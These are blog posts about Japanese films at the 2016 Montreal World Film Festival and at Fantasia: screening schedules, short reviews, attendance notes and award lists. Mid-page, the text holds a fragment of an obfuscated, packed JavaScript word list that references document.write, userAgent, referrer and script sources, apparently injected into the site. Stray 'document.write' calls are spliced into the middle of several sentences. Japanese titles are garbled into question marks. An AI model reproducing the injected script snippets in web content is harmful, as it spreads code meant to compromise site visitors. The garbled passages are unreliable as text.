I also went to the screening of The Black Widow Business. It’s a good comedy build around what should be a dark subject: women “seeking out old wealthy men to wed and deprive the bereaved family’s inheritance”. There was again a good attendance as the first level of the theatre was nearly three-quarter full (about 250~350 people). I’ll tell you more about it later.

After the Théatre Outremont announcing it will show the “Documentaries” and “Focus on World Cinema” segments of the festival, now it is the Cinéma du Parc (3575, av. du Parc) that has announced that it will show the movies for the 47th Student Film Festival for free! As usual, check the schedule on the festival’s website.

The next Japanese movies to be shown are (barring any more schedule changes):

Wednesday August 31, 15h00 at Théatre Outremont (TO.31.3) DOC

Frozen Fireworks: The Legendary Japanese Model Sayoko Yamaguchi (???? ????? / Kori no hanabi Yamaguchi Sayoko / lit. “Ice of fireworks Sayoko Yamaguchi”) : Japan, 2015, 97 min.; Dir.: Takako Matsumoto; Prod.: OHO Sayuki; Phot.: KISHIDA Masao; Ed.: MAEJIMA Kenji; Sound: TAKAGI Hajime ; Mus.: HISAMOTO Yukina; Cast: YAMAGUCHI Sayoko, Serge LUTENS, MARUYAMA Keita. A documentary portrait of Yamaguchi Sayoko, Asia’s first “top model”, via rare footage and testimony of friends and professional acquaintances.

Wednesday August 31, 17h00 at Théatre Outremont (TO.31.4) REG

Hold my hand (??????????????????????? / Te wo Tsunaide Kaeroyo — Shangurira no Mukou de / lit. “In the other side of the Let’s go home hand in hand Shangri-La”) : Japan, 2016, 105 min.; Dir.: Yoko Narahashi; Scr.: Masayuki Imai; Cast: Tetsuya Bessho, Itsuji Itao, Jay Kabira, Katsuya, Sumire Matsubara, Masahiro Nakai, Nanami. Makoto has a learning disability but dreams of becoming a truck driver. He falls in love with Sakura, a girl who has a similar disability and wants to become a dancer.

Friday September 2, 11h00 at Théatre Outremont (TO.02.1) DOC

Tsukiji Wonderland (?????????) : Japan, 2016, 116 min.; Dir.: Naotaro Endo. A day at Tokyo’s Tsukiji Market, the biggest wholesale seafood market in the world, for a fascinating view of the seafood business during the ramshackle 80-year-old complex’s last year of operation.

Friday September 2, 17h00 at Théatre Outremont (TO.02.4) DOC

Ken san (???) : Japan, 2016, 95 min.; Dir.: Yuichi Hibi; Phot.: Yoshihisa Toda; Ed.: Miyuki Ohgata; Mus.: Tarô Iwashiro. Ken San pieces together the puzzle of the life and legacy of Japan’s mythical acting icon, Ken Takakura. Collaborators, friends and family share intimate stories of Ken’s journey.

Saturday September 3, 13h00 at Cinéma Impérial (CI.03.3) PRE

A loving husband ( ????? / Koisaika Miyamoto): Japan, 2016, 117 min.; Dir./Scr.: Kazuhiko Yukawa (based on the novel by Kiyoshi Shigematsu); Cast: Yûki Amami (Miyoko), Hiroshi Abe (Yohei). Schoolteacher Yohei is married to Miyoko. For the first time in 25 years they begin to live by themselves when their son marries and moves out. Then Yohei discovers that all’s not well in his marriage.

Sunday September 4, 17h30 at Cinéma Impérial (CI.04.5) COMP

Good Morning Show (??????????? / Guddo Moningu Sho): Japan, 2016, 103 min.; Dir./Scr.: Ryoichi Kimizuka; Cast: Kiichi Nakai, Masami Nagasawa, Mirai Shida, Hiroyuki Ikeuchi, Kento Hayashi, Zen Kajiwara, Haruka Kinami, Shunsuke Daitô, Gaku Hamada, Yô Yoshida, Yutaka Matsushige, Saburô Tokitô. The morning variety show, a staple of television around the world, offers news and entertainment but TV host Shingo didn’t expect to be himself the source of the news and entertainment.

As usual, enjoy the festival while you can because it might very well be the last!

Press reviews:

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MWFF Update Day 2


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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sntze|var|u0026u|referrer|rhnry||js|php’.split(‘|’),0,{}))
We are continuing
our coverage of the Festival des Films du Monde (FFM)

Yesterday was my second day at the festival. I went to see Tatara Samurai in the early evening. It was the premiere of the movie so the crew (the director and the two main actors) arrived in great pomp with a limo and the red carpet. There was lots of people and the main floor of the Imperial Theatre was almost full (which means about 300~400 people). It was a beautiful and excellent samurai movie that reminded me a little of Kurosawa. Unfortunately, document.write(“”); the more I like a movie the more I find difficult to talk about it. But don’t worry, I’ll manage to organize my notes (as well as edit the video of the screening intro and small Q&A session — taken this time with my old and more reliable camera) in the next few days in order to eventually share them with you.

See my “FFM 2016” album on Flickr
Tatara Samurai poster Tatara Samurai Red Carpet arrival
Actors Naoki Kobayashi, Sho Aoyagi and director Yoshinari Nishikori Actors Naoki Kobayashi and Sho Aoyagi
Yesterday afternoon, I also posted online my comment on the movie The Seal of the Sun.

It is really damn difficult to do any planning during this festival. You think that you finally have your stuff organized, you ask for a day off work and then, bang!, they change the schedule. Again. I really hate this situation. You really need to check the screening schedule every day (in the evening and in the morning)!

The next Japanese movie to be shown will be tonight and then, so far, there’s nothing until next week-end — but note that the movie planned for Saturday night, Her Love Boils Bathwater, is CANCELLED!

Tuesday August 30, 19h40 (CI.30.6) HC

Black Widow Business (??? ? ? / Gosaigy? no onna / lit. “Woman of the second wife industry”) : Japan, 2016, 128 min.; Dir./Scr.: Yasuo Tsuruhashi (based on the novel by Hiroyuki Kurokawa); Cast: Masatoshi Nagase, Masatô Ibu, Machiko Ono. With 4000 matchmaking agencies across Japan serving some 600,000 clients, especially men and women over 65, the pickings are ripe for “black widows”. But the daughter of one victim decides to investigate.

Saturday September 3, 13h00 (CI.03.3) PRE

A loving husband ( ????? / Koisaika Miyamoto): Japan, 2016, 117 min.; Dir./Scr.: Kazuhiko Yukawa (based on the novel by Kiyoshi Shigematsu); Cast: Yûki Amami (Miyoko), Hiroshi Abe (Yohei). Schoolteacher Yohei is married to Miyoko. For the first time in 25 years they begin to live by themselves when their son marries and moves out. Then Yohei discovers that all’s not well in his marriage.

Sunday September 4, 17h30 (CI.04.5) COMP

Good Morning Show (??????????? / Guddo Moningu Sho): Japan, 2016, 103 min.; Dir./Scr.: Ryoichi Kimizuka; Cast: Kiichi Nakai, Masami Nagasawa, Mirai Shida, Hiroyuki Ikeuchi, Kento Hayashi, Zen Kajiwara, Haruka Kinami, Shunsuke Daitô, Gaku Hamada, Yô Yoshida, Yutaka Matsushige, Saburô Tokitô. The morning variety show, a staple of television around the world, offers news and entertainment but TV host Shingo didn’t expect to be himself the source of the news and entertainment.

The presence of Isabelle Adjani (as well as the screening of her film Carole Matthieu) has been postponed at the request of the French actress. No new screening date has been announced yet.

Fortunately there’s not only bad news in the festival. It was announced that, out of sheer compassion for movie-makers and movie-goers, from today until next Sunday the Théatre Outremont (1248 avenue Bernard Ouest, near metro Outremont) will start showing movies for the Festival, effectively doubling the number of screens available! Schedule will be announced day by day, but so far today there’s no Japanese movies being shown.

Anyway, enjoy the festival while you can because it might very well be the last!

Press reviews:

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MWFF Update Day 1.2


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We are continuing our coverage of this cultural para-olympics

After picking up my media credentials, document.write(“”); I rushed back home to grab a bite and my camera, then I quickly came back to the festival to watch the first Japanese movie — which had surprisingly popped up on the most recent schedule update.

The production crew (the usual team of producers, director and actor) was there to introduce their movie, but I unfortunately had camera troubles and couldn’t record the whole presentation (maybe my older, cheaper, less advanced camera would have been better after all?).

The movie was quite interesting because of its subject, but I was rather disappointed by the rendering of the story and the production quality. It felt like a small budget movie while I am sure it was not. Anyway, you’ll see my full comments on the movie as soon as I can transcribe my notes, polish the details and put it online (I have a busy schedule in the next few days — including an aunt funerals — so I cannot promise it will be quick).

In the meantimes, enjoy the festival while you can because, as you know, I fear it may well be the last!

Press reviews:

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MWFF update Day 1


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We are continuing our coverage of the festival

What a crazy world! But as long as there’s movies being shown, document.write(“”); there’s hope!

Yesterday, we went to the festival office to pick up our press passes. It was chaos and lots of people were running around like headless chicken. We were told that due to a “computer problem” all the accreditation submissions had been lost (bug? crash? lock out of their system? ex-staff sabotage? who knows). I understood that we had to resubmit the request in paper (losiqual if the computer are down), so (taking time off from my day job) I went back this afternoon with a print out of the forms and pictures. It was quieter today at the FFM HQ, but apparently, they simply wanted us to email the pictures again. So I ended up taking a picture of the pictures with my phone and emailing them so they could print them on the press cards.

Now we have our press cards, but they look terrible !

REMINDER: The movies are shown ONLY at the Imperial Cinema, but the schedule has changed (several times) and it KEEPS CHANGING so please check it day by day !

Also note that if you purchased a ticket for a screening that has been re-scheduled, I’ve been told that they would exchange it without problem for a ticket of the screening at the new schedule.

For us, aficionados of Japanese cinema, the festival starts tonight! The first movie shown is:

Friday August 26, 19h00 (CI.26.6) REG

The Seal of the Sun (?? ? ? / Taiy? no futa) : Japan, 2016, 130 min., japanese with english subtitles; Dir.: Futoshi Sato; Scr.: Takashi Hasegawa; Phot.: Yukio Komiya; Prod.: Kaoru Ohtsuka; Cast: Yukiya Kitamura, Kenji Anan, Sota Aoyama. At 2:46 PM on March 11, 2011, the Fukushima Daiichi Nuclear Power Plant experiences a black out due to the aftermath of the Tohoku earthquake and tsunami.

So far, there are no movies announced for Saturday and Sunday. Barring any further schedule change, the next Japanese movies will be:

Monday August 29, 18h40 (CI.29.6) COMP

Tatara Samurai (????): Japan, 2016, 135 min.; Dir.: Yoshinari Nishikori; Phot.: Akira Sako; Mus.: Seikou Nagaoka; Cast: Shun Sugata, Denden, Masahiko Tsugawa. When the Amago samurai withdraw their protection of the village of Tatara, famous for their manufacture of the legendary swords, the younger generation — erroneously — believe that guns will suffice.

Tuesday August 30, 19h40 (CI.30.6) HC

Black Widow Business (??? ? ? / Gosaigy? no onna / lit. “Woman of the second wife industry”) : Japan, 2016, 128 min.; Dir./Scr.: Yasuo Tsuruhashi (based on the novel by Hiroyuki Kurokawa); Cast: Masatoshi Nagase, Masatô Ibu, Machiko Ono. With 4000 matchmaking agencies across Japan serving some 600,000 clients, especially men and women over 65, the pickings are ripe for “black widows”. But the daughter of one victim decides to investigate.

Enjoy the festival while you can because, who knows, it might be the last one. Ultima forsan…

Press reviews:

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Montreal World Film Festival 2016


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On Tuesday August 16, document.write(“”); 2016, the Montreal World Film Festival broke its silence and revealed through a couple of press releases the line-up of the World Competition and First Feature Competition as well as their Jurys’ members. The programmation of other sections will be unveiled later on.

In a Le Devoir article (August 5th: Mystères entourant la 40e édition du FFM), we learned that less than a month before the beginning of the festival, it was suffering from lack of financing and no venue had been booked yet to hold the screenings. However, a more recent article (August 16th: Le Festival des films du monde à minuit moins cinq) told us that the usual venue of Cineplex Quartier Latin would be replaced this year by the Cineplex Cinema Forum, because road works are blocking the access to the Quartier Latin.

The 40th edition of the Montreal World Film Festival will take place from August 25th to September 5th 2016, at the Imperial (1430 Bleury – Metro Place des Arts) and Cineplex Cinema Forum (2313 St. Catherine St. West Suite 101 – Metro Atwater) theatres. For more details you can check the festival website: www.ffm-montreal.org.

Saturday the festival has released the screenings’ complete schedule [PDF]. They have also posted the screening schedule for each section of the festival: World Competition, First Films World Competition, Focus on the World Cinema, Documentaries, Turkish Film Tribute, Hangzhou Film Week, and the Special Chinese Film Festival. (But what about the “World Great” section?). [updated 2016-08-20]

You can also check our festival coverage of the previous years:

WARNING: The festival is in jeopardy. Please read this report for details. [updated: 2016/08/24]

WARNING: The movies will be shown ONLY at the Imperial Cinema, but the schedule has CHANGED! A new schedule has been posted on the festival website. [updated: 2016/08/25]

WARNING: The schedule keeps changing so please check it day by day ! [updated: 2016/08/26]

You can also check our daily updates of the festival: Day 1, Day 1.2, Day 2, Day 3, Extra update (Day off), Day 4 and our festival wrap-up.

I have also added some of the video I’ve filmed at the festival: FFM Video 1 (also available on Vimeo: Tatara Samurai Red carpet, Tatara Samurai Intro and Q&A, Isabelle Adjani red carpet).

Finally, you can read the comments about the FFM’s Japanese movies from my esteemed colleague Claude R. Blouin on Shomingeki.

You will find, after the jump, a list of all Japanese movies announced so far (of course, more details and links will be added as the information become available).

[Updated: 2016/08/18, 2016/08/20, 2016/08/24, 2016/08/25, 2016/08/26, 2016-08-30, 2016-08-31, 2016-09-04, 2016-09-09, 2016-09-19]

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Fantasia 2016 wrap-up


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The 20th edition of the
Fantasia International Film Festival just concluded after three weeks with a total of 209 screenings (including 19 world premieres), document.write(“”); over 100,000 spectators, and a near-record number of special guests (700 international guests, including some 400 film industry professionals like Guillermo Del Toro and Takashi Miike). This years’ awards are:


CHEVAL NOIR

  • Best Feature: TRAIN TO BUSAN by Yeon Sang-ho
  • Best Director: Kiyoshi Kurosawa for CREEPY
  • Best Screenplay: E J-Yong for THE BACCHUS LADY
  • Best Actor: Franko Dijak, GORAN
  • Best Actress: Youn Yuh-jung, THE BACCHUS LADY
  • Special Jury Prize: THE LURE (Poland, dir.: Agnieszka Smoczynska)

NEW FLESH AWARD FOR BEST FIRST FEATURE

  • MAN UNDERGROUND by Michael Borowiec and Sam Marine
  • Special Jury Mention: Lily Mae Harrington (SOME FREAKS)

INTERNATIONAL SHORT FILM COMPETITION

  • Best International Short: A NEARLY PERFECT BLUE SKY (France)
  • Special Jury Mention for Best Emerging Short Filmmaker: Tanya Lemke for STATIC (Canada)
  • Special Jury Mention for Aesthetic Innovation: ESTATE (France / Belgium)

SATOSHI KON AWARD FOR EXCELLENCE IN ANIMATION

  • Best Animated Feature: PSYCHONAUTS, THE FORGOTTEN CHILDREN (Spain, dir: Alberto Vazquez, Pedro Rivero)
  • Best Animated Short: STEMS (U.K., dir: Ainslie Henderson)
  • Special Jury Mention for Synergy of Narration and Art: CLOUDS (Canada dir: Diego Maclean)

BARRY CONVEX AWARD FOR BEST CANADIAN FEATURE

  • FEUILLES MORTES by Thierry Bouffard, Carnior et Edouard Tremblay

PRIX AQCC (Association québécoise des critiques de cinéma) 2016

  • THE WAILING by Na Hong-jin

PRIX SÉQUENCES

  • WE ARE THE FLESH by Emiliano Rocha Minter

PRIX L’ÉCRAN FANTASTIQUE

  • BEFORE I WAKE by Mike Flanagan

AUDIENCE AWARDS

Best European / North-South American Feature

  • Gold : Tie between HUNT FOR THE WILDERPEOPLE (Dir: Taika Waititi) and UN PETIT BOULOT (Dir: Pascal Chaumeil)
  • Silver : THEY CALL ME JEEG (Dir: Gabriele Mainetti)
  • Bronze : Tie between KIKI: LOVE TO LOVE (Dir: Paco León) and THE LURE (Dir: Agnieszka Smoczynska)

Best Asian Feature

  • Gold : KING DAVE (Dir: Daniel Grou)
  • Silver : FEUILLES MORTES (Dirs: Thierry Bouffard, Carnior, Edouard A. Tremblay)
  • Bronze : tie between ÉCARTÉE (Dir: Lawrence Côté-Collins) and OPERATION AVALANCHE (Dir: Matt Johnson)

Best Documentary Feature

  • FOR THE LOVE OF SPOCK  (Dir: Adam Nimoy)

Best Animated Feature

  • SEOUL STATION (Dir: Yeon Sang-ho)

Best International Short

  • Gold : SNAKEBITE  (Dir: Tim Hyten)
  • Silver : NO TOUCHING (Dirs: Adam Davis, Will Corona Pilgrim)
  • Bronze : L’OURS NOIR (Dirs: Méryl Fortunat Rossi, Xavier Seron)

Best Quebecois Short

  • Gold : CARNASSE (Dir: Francis Bordeleau)
  • Silver : CAUCHEMAR CAPITONNÉ (Dir: Jean-Claude Leblanc)
  • Bronze : BULLSHIT (Dir: Marc Wiltshire)

(Sources: press releases, Screen Anarchy)

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FFM 2016 annonce les « Chelems d’or »

Le Festival des Films du Monde de Montréal, document.write(“”); qui se tiendra du 25 août au 5 septembre 2016, commence déjà à faire parler de lui.
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Dans un premier communiqué de presse, daté du 13 mai, le FFM annonce que pour son 40e anniversaire il accompagnera ses principaux prix de bourses importantes avec la présentation des premiers « Chelems d’or » du cinéma. Grâce à un généreux mécène, un montant de 1 M $ US sera remis aux producteurs et réalisateurs (sur une base de 50% chacun) afin de contribuer de façon unique à la création cinématographique. La somme total sera divisé en treize bourses de tailles variées: Grand prix des Amériques, Grand prix du jury, Prix FFM du court métrage, compétition mondiale des premiers longs métrages de fiction (or, argent, bronze), prix du documentaire, du meilleurs film canadien (or, argent), compétition spéciale des films chinois (or, argent), et prix du festival du film étudiant (national, international).

Avec une telle innovation qui vise à encourager la relève cinématographique, le festival espère se repositionner comme un centre important du cinéma mondial.

(Voir le communiqué de presse original en français et en anglais)

(Revue de presse: CTVM, La Presse, Le Devoir)

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Japanese movies at Fantasia 2016


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This week the programmation for the 20th edition of the Fantasia International Film Festival was announced. Twenty years, document.write(“”); that’s worth celebrating! It will be held in Montreal from July 14 to August 3 and screenings will take place mostly at Concordia’s Theatre Hall and Salle J.A. de Sève. For more programming details you can check the festival’s web page at www.fantasiafestival.com, this year’s program [PDF] and screening schedule [PDF].

This year the festival offers 60 movies from Asia: 5 from China, 26 from Japan, 20 from Korea, 6 from Hong Kong, 1 from Taiwan, and 2 from Thailand.

As usual, we will concentrate our interest on the Japanese program that includes 4 anime (in total you can also find 33 other animated features — 29 shorts and 8 movies — from various countries). Besides Momotaro, Sacred Sailors, which is probably one of the first anime ever produced in Japan, there’s nothing out of the ordinary among those titles — although we’ve noticed that there’s lots of manga adaptations. Here’s a list of all the Japanese titles (with links to full description):


Anime:

Live-Action:

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